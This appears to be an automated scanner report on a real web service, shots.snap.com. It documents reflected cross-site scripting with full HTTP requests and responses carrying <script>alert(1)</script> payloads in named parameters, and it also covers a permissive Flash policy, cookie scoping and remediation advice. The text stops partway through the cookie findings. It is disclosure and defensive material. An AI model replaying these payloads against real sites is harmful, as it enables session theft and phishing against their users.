CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Tue Apr 26 12:33:03 CDT 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, Google Hacking Database, DORK Search

CWE-79 XSS Crawler - XSS Engine | CWE-89 SQLi Crawler - SQLi Engine | CWE-113 HTTPi Crawler - HTTPi Engine | CWE-23 LFI, RFI Crawler - LFI, RFI Engine

1. Cross-site scripting (reflected)

1.1. http://shots.snap.com/rk.php [vid parameter]

1.2. http://shots.snap.com/shot/ [size parameter]

1.3. http://shots.snap.com/shot/ [svc parameter]

1.4. http://shots.snap.com/shot/ [url parameter]

1.5. http://shots.snap.com/shot/ [url parameter]

1.6. http://shots.snap.com/snap_shots.js [key parameter]

1.7. http://shots.snap.com/snap_shots.js [preview_trigger parameter]

2. Flash cross-domain policy

3. Cookie scoped to parent domain

3.1. http://shots.snap.com/rk.php

3.2. http://shots.snap.com/images/v6.59/snip/arrow-contd/89fdd0457a773fb9e78a2ee3e0b8ebd3/d/pf/p3247/arrow/

3.3. http://shots.snap.com/preview/

3.4. http://shots.snap.com/shot/

3.5. http://shots.snap.com/snap_shots.js

4. Cookie without HttpOnly flag set

4.1. http://shots.snap.com/rk.php

4.2. http://shots.snap.com/images/v6.59/snip/arrow-contd/89fdd0457a773fb9e78a2ee3e0b8ebd3/d/pf/p3247/arrow/

4.3. http://shots.snap.com/preview/

4.4. http://shots.snap.com/shot/

4.5. http://shots.snap.com/snap_shots.js

5. Referer-dependent response

6. Cross-domain Referer leakage

7. TRACE method is enabled

8. Robots.txt file

9. Content type incorrectly stated

9.1. http://shots.snap.com/asj/v1/6e8afd4f63cdc7886a3f718aa78c7375/2863866373/auto_shot.js

9.2. http://shots.snap.com/asj/v1/spakey/1797024321/auto_shot.js

9.3. http://shots.snap.com/favicon.ico

9.4. http://shots.snap.com/snap_shots.js

1. Cross-site scripting (reflected) next
There are 7 instances of this issue:

/rk.php [vid parameter]
/shot/ [size parameter]
/shot/ [svc parameter]
/shot/ [url parameter]
/shot/ [url parameter]
/snap_shots.js [key parameter]
/snap_shots.js [preview_trigger parameter]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://shots.snap.com/rk.php [vid parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://shots.snap.com
Path:	/rk.php

Issue detail

The value of the vid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5f363"><script>alert(1)</script>b45a55df056 was submitted in the vid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /rk.php?url=http%3A%2F%2Fwww.mcafee.com%2Fus%2Fresources%2Fsolution-briefs%2Fsb-lizamoon-sql-injection.pdf&key=6e8afd4f63cdc7886a3f718aa78c7375&lang=en-us&th=silver&src=www.slaviks-blog.com&cp=Shotsense&s=small&svc=&tag=&atext=posted&title=Musings%20on%20Database%20Security&dfs=10&call=0&uid=16266132404ce087181f51bbd2d1a9b9&vid=89fdd0457a773fb9e78a2ee3e0b8ebd35f363"><script>alert(1)</script>b45a55df056&fl=null&size=320x79 HTTP/1.1
Host: shots.snap.com
Proxy-Connection: keep-alive
Referer: http://www.slaviks-blog.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: user=id%3D16266132404ce087181f51bbd2d1a9b9%26exp%3D1366766106%26v%3D2%26origin%3Dshots

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 01:23:41 GMT
Server: Apache/2.2.14 (Unix) DAV/2 mod_ssl/2.2.14 OpenSSL/1.0.0 PHP/5.2.17
X-Powered-By: PHP/5.2.17
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Tue, 26 Apr 2011 01:23:41 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
P3P: CP="NOI DSP COR CURa PSDa OUR NOR NAV STA"
Set-Cookie: user=id%3D16266132404ce087181f51bbd2d1a9b9%26exp%3D1366766106%26v%3D2%26origin%3Dshots%26call%3D1%26time%3D1303781021; expires=Wed, 24-Apr-2013 01:23:41 GMT; path=/; domain=.snap.com
Set-Cookie: session=id%3D1b339d819ce287ba77eab1ba534cca22%26time%3D1303781021%26created_time%3D1303781021%26destination_url%3Dhttp%253A%252F%252Fshots.snap.com%252Frk.php%253Furl%253Dhttp%25253A%25252F%25252Fwww.mcafee.com%25252Fus%25252Fresources%25252Fsolution-briefs%25252Fsb-lizamoon-sql-injection.pdf%2526key%253D6e8afd4f63cdc7886a3f718aa78c7375%2526lang%253Den-us%2526th%253Dsilver%2526src%253Dwww.slaviks-blog.com%2526cp%253DShotsense%2526s%253Dsmall%2526svc%253D%2526tag%253D%2526atext%253Dposted%2526title%253DMusings%252520on%252520Database%252520Security%2526dfs%253D10%2526call%253D0%2526uid%253D16266132404ce087181f51bbd2d1a9b9%2526vid%253D89fdd0457a773fb9e78a2ee3e0b8ebd35f363%2522%253E%253Cscript%253Ealert%25281%2529%253C%252Fscript%253Eb45a55df056%2526fl%253Dnull%2526size%253D320x79%26referrer%3Dhttp%253A%252F%252Fwww.slaviks-blog.com%252F; path=/; domain=.snap.com
Set-Cookie: session=id%3D1b339d819ce287ba77eab1ba534cca22%26time%3D1303781021%26created_time%3D1303781021%26destination_url%3Dhttp%253A%252F%252Fshots.snap.com%252Frk.php%253Furl%253Dhttp%25253A%25252F%25252Fwww.mcafee.com%25252Fus%25252Fresources%25252Fsolution-briefs%25252Fsb-lizamoon-sql-injection.pdf%2526key%253D6e8afd4f63cdc7886a3f718aa78c7375%2526lang%253Den-us%2526th%253Dsilver%2526src%253Dwww.slaviks-blog.com%2526cp%253DShotsense%2526s%253Dsmall%2526svc%253D%2526tag%253D%2526atext%253Dposted%2526title%253DMusings%252520on%252520Database%252520Security%2526dfs%253D10%2526call%253D0%2526uid%253D16266132404ce087181f51bbd2d1a9b9%2526vid%253D89fdd0457a773fb9e78a2ee3e0b8ebd35f363%2522%253E%253Cscript%253Ealert%25281%2529%253C%252Fscript%253Eb45a55df056%2526fl%253Dnull%2526size%253D320x79%26referrer%3Dhttp%253A%252F%252Fwww.slaviks-blog.com%252F%26call%3D1; path=/; domain=.snap.com
Set-Cookie: spa=deleted; expires=Mon, 26-Apr-2010 01:23:40 GMT; path=/; domain=.snap.com
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 9898

<html>
<head>

<style>

body {
margin: 0;
padding: 0;
background: #f2f2f2 url('http://i.ixnp.com/images/hdr-spons.gif') no-repeat fixed 97% 94%;

border: 0;
}

#keywordTable {
fon
...[SNIP]...
<img src="http://direct.i.ixnp.com/images/ss_conf/89fdd0457a773fb9e78a2ee3e0b8ebd35f363"><script>alert(1)</script>b45a55df056/10.11.224:7781" width="1" height="1">
...[SNIP]...

1.2. http://shots.snap.com/shot/ [size parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://shots.snap.com
Path:	/shot/

Issue detail

The value of the size request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6e7ba"><script>alert(1)</script>d13f9b9ff8c was submitted in the size parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /shot/?url=http%3A%2F%2Fwww.mcafee.com%2Fus%2Fresources%2Fsolution-briefs%2Fsb-lizamoon-sql-injection.pdf&key=6e8afd4f63cdc7886a3f718aa78c7375&src=www.slaviks-blog.com&cp=&sb=1&v=6.59&size=small6e7ba"><script>alert(1)</script>d13f9b9ff8c&lang=en-us&search_type=spasense&vis=0&origin=shots_bubble&act=only_link&po=0&rp=null&tok=00034db816da48d6409a1a9cffc9091a0226f9839f&has_img=0&ol=0&ex=0&ad=unknown&ip=173.193.214.243&ua=Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+AppleWebKit%2F534.16+%28KHTML%2C+like+Gecko%29+Chrome%2F10.0.648.205+Safari%2F534.16&vid=89fdd0457a773fb9e78a2ee3e0b8ebd3&nl=0&referrer=http%3A%2F%2Fwww.slaviks-blog.com%2F&svc=&rt=1303780546551&w=320&h=207&target=_blank&tag=&goto=Go%20to%20%25URL&sc=1 HTTP/1.1
Host: shots.snap.com
Proxy-Connection: keep-alive
Referer: http://www.slaviks-blog.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: user=id%3D16266132404ce087181f51bbd2d1a9b9%26exp%3D1366766106%26v%3D2%26origin%3Dshots

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 01:27:04 GMT
Server: Apache/2.2.14 (Unix) DAV/2 mod_ssl/2.2.14 OpenSSL/1.0.0 PHP/5.2.17
X-Powered-By: PHP/5.2.17
P3P: CP="NOI DSP COR CURa PSDa OUR NOR NAV STA"
Set-Cookie: spa=deleted; expires=Mon, 26-Apr-2010 01:27:03 GMT; path=/; domain=.snap.com
Set-Cookie: spa=spauser%3D1%26spadomain%3Dwww.slaviks-blog.com; expires=Fri, 23-Apr-2021 01:27:04 GMT; path=/; domain=.snap.com
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 4635

<script>
function showGLOW() {
document.getElementById('snapshot_glow').style.display = '';
}
function hideGLOW() {
document.getElementById('snapshot_glow').style.display = 'none';
}

function
...[SNIP]...
m/preview.php?url=http%3A%2F%2Fwww.mcafee.com%2Fus%2Fresources%2Fsolution-briefs%2Fsb-lizamoon-sql-injection.pdf&key=6e8afd4f63cdc7886a3f718aa78c7375&src=www.slaviks-blog.com&cp=&sb=1&v=6.59&size=small6e7ba"><script>alert(1)</script>d13f9b9ff8c&lang=en-us&search_type=spasense&vis=0&origin=shots_bubble&act=only_link&po=0&rp=null&tok=00034db816da48d6409a1a9cffc9091a0226f9839f&has_img=0&ol=0&ex=0&ad=unknown&ip=173.193.214.243&ua=Mozilla%2F5.0+%
...[SNIP]...

1.3. http://shots.snap.com/shot/ [svc parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://shots.snap.com
Path:	/shot/

Issue detail

The value of the svc request parameter is copied into the HTML document as plain text between tags. The payload 20f2d<script>alert(1)</script>86efd429486 was submitted in the svc parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /shot/?url=http%3A%2F%2Fwww.mcafee.com%2Fus%2Fresources%2Fsolution-briefs%2Fsb-lizamoon-sql-injection.pdf&key=6e8afd4f63cdc7886a3f718aa78c7375&src=www.slaviks-blog.com&cp=&sb=1&v=6.59&size=small&lang=en-us&search_type=spasense&vis=0&origin=shots_bubble&act=only_link&po=0&rp=null&tok=00034db816da48d6409a1a9cffc9091a0226f9839f&has_img=0&ol=0&ex=0&ad=unknown&ip=173.193.214.243&ua=Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+AppleWebKit%2F534.16+%28KHTML%2C+like+Gecko%29+Chrome%2F10.0.648.205+Safari%2F534.16&vid=89fdd0457a773fb9e78a2ee3e0b8ebd3&nl=0&referrer=http%3A%2F%2Fwww.slaviks-blog.com%2F&svc=20f2d<script>alert(1)</script>86efd429486&rt=1303780546551&w=320&h=207&target=_blank&tag=&goto=Go%20to%20%25URL&sc=1 HTTP/1.1
Host: shots.snap.com
Proxy-Connection: keep-alive
Referer: http://www.slaviks-blog.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: user=id%3D16266132404ce087181f51bbd2d1a9b9%26exp%3D1366766106%26v%3D2%26origin%3Dshots

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 01:37:39 GMT
Server: Apache/2.2.14 (Unix) DAV/2 mod_ssl/2.2.14 OpenSSL/1.0.0 PHP/5.2.17
X-Powered-By: PHP/5.2.17
P3P: CP="NOI DSP COR CURa PSDa OUR NOR NAV STA"
Set-Cookie: spa=deleted; expires=Mon, 26-Apr-2010 01:37:38 GMT; path=/; domain=.snap.com
Set-Cookie: spa=spauser%3D1%26spadomain%3Dwww.slaviks-blog.com; expires=Fri, 23-Apr-2021 01:37:39 GMT; path=/; domain=.snap.com
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 2746

<html>
<head>
<title>Snap Shot - Error: Unknown Shot Type</title>
<link rel="stylesheet" href="http://i.ixnp.com/rsa/v6.59/rich-shot-common.css" type="text/css">
<link rel="stylesheet" href="http://i.
...[SNIP]...
<i>20f2d<script>alert(1)</script>86efd429486</i>
...[SNIP]...

1.4. http://shots.snap.com/shot/ [url parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://shots.snap.com
Path:	/shot/

Issue detail

The value of the url request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a7832"><script>alert(1)</script>423eac9122e was submitted in the url parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /shot/?url=a7832"><script>alert(1)</script>423eac9122e&key=6e8afd4f63cdc7886a3f718aa78c7375&src=www.slaviks-blog.com&cp=&sb=1&v=6.59&size=small&lang=en-us&search_type=spasense&vis=0&origin=shots_bubble&act=only_link&po=0&rp=null&tok=00034db816da48d6409a1a9cffc9091a0226f9839f&has_img=0&ol=0&ex=0&ad=unknown&ip=173.193.214.243&ua=Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+AppleWebKit%2F534.16+%28KHTML%2C+like+Gecko%29+Chrome%2F10.0.648.205+Safari%2F534.16&vid=89fdd0457a773fb9e78a2ee3e0b8ebd3&nl=0&referrer=http%3A%2F%2Fwww.slaviks-blog.com%2F&svc=&rt=1303780546551&w=320&h=207&target=_blank&tag=&goto=Go%20to%20%25URL&sc=1 HTTP/1.1
Host: shots.snap.com
Proxy-Connection: keep-alive
Referer: http://www.slaviks-blog.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: user=id%3D16266132404ce087181f51bbd2d1a9b9%26exp%3D1366766106%26v%3D2%26origin%3Dshots

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 01:23:40 GMT
Server: Apache/2.2.14 (Unix) DAV/2 mod_ssl/2.2.14 OpenSSL/1.0.0 PHP/5.2.17
X-Powered-By: PHP/5.2.17
P3P: CP="NOI DSP COR CURa PSDa OUR NOR NAV STA"
Set-Cookie: spa=deleted; expires=Mon, 26-Apr-2010 01:23:39 GMT; path=/; domain=.snap.com
Set-Cookie: spa=spauser%3D1%26spadomain%3Dwww.slaviks-blog.com; expires=Fri, 23-Apr-2021 01:23:40 GMT; path=/; domain=.snap.com
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 4245

<script>
function showGLOW() {
document.getElementById('snapshot_glow').style.display = '';
}
function hideGLOW() {
document.getElementById('snapshot_glow').style.display = 'none';
}

function
...[SNIP]...
<a target=_parent style="border:0" href="a7832"><script>alert(1)</script>423eac9122e" title="Go to a7832">
...[SNIP]...

1.5. http://shots.snap.com/shot/ [url parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://shots.snap.com
Path:	/shot/

Issue detail

The value of the url request parameter is copied into the HTML document as plain text between tags. The payload 44ce3<a%20b%3dc>b5cf3745f80 was submitted in the url parameter. This input was echoed as 44ce3<a b=c>b5cf3745f80 in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags and attributes into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /shot/?url=44ce3<a%20b%3dc>b5cf3745f80&key=6e8afd4f63cdc7886a3f718aa78c7375&src=www.slaviks-blog.com&cp=&sb=1&v=6.59&size=small&lang=en-us&search_type=spasense&vis=0&origin=shots_bubble&act=only_link&po=0&rp=null&tok=00034db816da48d6409a1a9cffc9091a0226f9839f&has_img=0&ol=0&ex=0&ad=unknown&ip=173.193.214.243&ua=Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+AppleWebKit%2F534.16+%28KHTML%2C+like+Gecko%29+Chrome%2F10.0.648.205+Safari%2F534.16&vid=89fdd0457a773fb9e78a2ee3e0b8ebd3&nl=0&referrer=http%3A%2F%2Fwww.slaviks-blog.com%2F&svc=&rt=1303780546551&w=320&h=207&target=_blank&tag=&goto=Go%20to%20%25URL&sc=1 HTTP/1.1
Host: shots.snap.com
Proxy-Connection: keep-alive
Referer: http://www.slaviks-blog.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: user=id%3D16266132404ce087181f51bbd2d1a9b9%26exp%3D1366766106%26v%3D2%26origin%3Dshots

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 01:23:49 GMT
Server: Apache/2.2.14 (Unix) DAV/2 mod_ssl/2.2.14 OpenSSL/1.0.0 PHP/5.2.17
X-Powered-By: PHP/5.2.17
P3P: CP="NOI DSP COR CURa PSDa OUR NOR NAV STA"
Set-Cookie: spa=deleted; expires=Mon, 26-Apr-2010 01:23:48 GMT; path=/; domain=.snap.com
Set-Cookie: spa=spauser%3D1%26spadomain%3Dwww.slaviks-blog.com; expires=Fri, 23-Apr-2021 01:23:49 GMT; path=/; domain=.snap.com
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 4058

<script>
function showGLOW() {
document.getElementById('snapshot_glow').style.display = '';
}
function hideGLOW() {
document.getElementById('snapshot_glow').style.display = 'none';
}

function
...[SNIP]...
<a b=c>b5cf3745f80">44ce3<a b=c>b5cf3745f80/</a>
...[SNIP]...

1.6. http://shots.snap.com/snap_shots.js [key parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://shots.snap.com
Path:	/snap_shots.js

Issue detail

The value of the key request parameter is copied into the HTML document as plain text between tags. The payload 87005<script>alert(1)</script>538521ad19a was submitted in the key parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /snap_shots.js?ap=1&si=0&key=6e8afd4f63cdc7886a3f718aa78c737587005<script>alert(1)</script>538521ad19a&sb=0&link_icon=on&oi=0&cl=0&po=0&th=green&preview_trigger=icon&domain=www.slaviks-blog.com HTTP/1.1
Host: shots.snap.com
Proxy-Connection: keep-alive
Referer: http://www.slaviks-blog.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 01:23:05 GMT
Server: Apache/2.2.14 (Unix) DAV/2 mod_ssl/2.2.14 OpenSSL/1.0.0 PHP/5.2.17
X-Powered-By: PHP/5.2.17
P3P: CP="NOI DSP COR CURa PSDa OUR NOR NAV STA"
Set-Cookie: spa=deleted; expires=Mon, 26-Apr-2010 01:23:04 GMT; path=/; domain=.snap.com
Set-Cookie: user=id%3D28b430f0e9bc5adec4344fe7df81b61d%26exp%3D1366766585%26v%3D2; expires=Wed, 24-Apr-2013 01:23:05 GMT; path=/; domain=.snap.com
Set-Cookie: user=id%3D28b430f0e9bc5adec4344fe7df81b61d%26exp%3D1366766585%26v%3D2%26origin%3Dshots; expires=Wed, 24-Apr-2013 01:23:05 GMT; path=/; domain=.snap.com
Cache-Control: max-age=7200
Expires: Tue, 26 Apr 2011 03:23:05 GMT
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 15266

//<!--
/*! Snap Shots Code Copyright (c) 2009, Snap Technologies, Inc. All rights reserved.
* Your use of this code is subject to the Snap Shots Terms of Service
* located at https://account.snap
...[SNIP]...
ain_js/v6.59/";
s.parentNode.insertBefore(js, s);
var js = document.createElement("script");
js.type = "text/javascript";
js.src = "http://shots.snap.com/asj/v1/6e8afd4f63cdc7886a3f718aa78c737587005<script>alert(1)</script>538521ad19a/" + SNAP_COM.hash(document.location.href) +
"/auto_shot.js?sz="+SNAP_COM.size()+"&lm="+escape(document.lastModified)+"&size=small&accept=shots";
s.parentNode.insertBefore(js, s);
}
SNAP_
...[SNIP]...

1.7. http://shots.snap.com/snap_shots.js [preview_trigger parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://shots.snap.com
Path:	/snap_shots.js

Issue detail

The value of the preview_trigger request parameter is copied into the HTML document as plain text between tags. The payload d95c1<script>alert(1)</script>aa502bc404 was submitted in the preview_trigger parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /snap_shots.js?ap=1&si=0&key=6e8afd4f63cdc7886a3f718aa78c7375&sb=0&link_icon=on&oi=0&cl=0&po=0&th=green&preview_trigger=icond95c1<script>alert(1)</script>aa502bc404&domain=www.slaviks-blog.com HTTP/1.1
Host: shots.snap.com
Proxy-Connection: keep-alive
Referer: http://www.slaviks-blog.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 01:27:49 GMT
Server: Apache/2.2.14 (Unix) DAV/2 mod_ssl/2.2.14 OpenSSL/1.0.0 PHP/5.2.17
X-Powered-By: PHP/5.2.17
P3P: CP="NOI DSP COR CURa PSDa OUR NOR NAV STA"
Set-Cookie: spa=deleted; expires=Mon, 26-Apr-2010 01:27:48 GMT; path=/; domain=.snap.com
Set-Cookie: user=id%3D1db8e18d71451b093b52af603969a253%26exp%3D1366766869%26v%3D2; expires=Wed, 24-Apr-2013 01:27:49 GMT; path=/; domain=.snap.com
Set-Cookie: user=id%3D1db8e18d71451b093b52af603969a253%26exp%3D1366766869%26v%3D2%26origin%3Dshots; expires=Wed, 24-Apr-2013 01:27:49 GMT; path=/; domain=.snap.com
Cache-Control: max-age=7200
Expires: Tue, 26 Apr 2011 03:27:49 GMT
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 15260

//<!--
/*! Snap Shots Code Copyright (c) 2009, Snap Technologies, Inc. All rights reserved.
* Your use of this code is subject to the Snap Shots Terms of Service
* located at https://account.snap
...[SNIP]...
ow_internal:false,preview_only:false,preview_type:null,no_rss:0,rich_only:false,plugin:false,rescan_after_load:false,thumbnail_precrawl:0,show_link_icon:false,link_icon_types:true,preview_trigger:"icond95c1<script>alert(1)</script>aa502bc404",image_trigger:false,shots_domain_match:null,shot_check:1,search_type:"spasense",redirect_param:null,client_ip:"173.193.214.243",user_agent:"Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29
...[SNIP]...

2. Flash cross-domain policy previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://shots.snap.com
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which allows access from any domain.

Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.

Issue background

The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.

Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.

Issue remediation

You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.

Request

GET /crossdomain.xml HTTP/1.0
Host: shots.snap.com

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 01:21:05 GMT
Server: Apache/2.2.14 (Unix) DAV/2 mod_ssl/2.2.14 OpenSSL/1.0.0 PHP/5.2.17
Last-Modified: Thu, 06 Aug 2009 19:44:15 GMT
ETag: "10b-4707e583681c0"
Accept-Ranges: bytes
Content-Length: 267
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/xml

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
<allow-http-requ
...[SNIP]...

3. Cookie scoped to parent domain previous next
There are 5 instances of this issue:

/rk.php
/images/v6.59/snip/arrow-contd/89fdd0457a773fb9e78a2ee3e0b8ebd3/d/pf/p3247/arrow/
/preview/
/shot/
/snap_shots.js

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.

3.1. http://shots.snap.com/rk.php previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://shots.snap.com
Path:	/rk.php

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

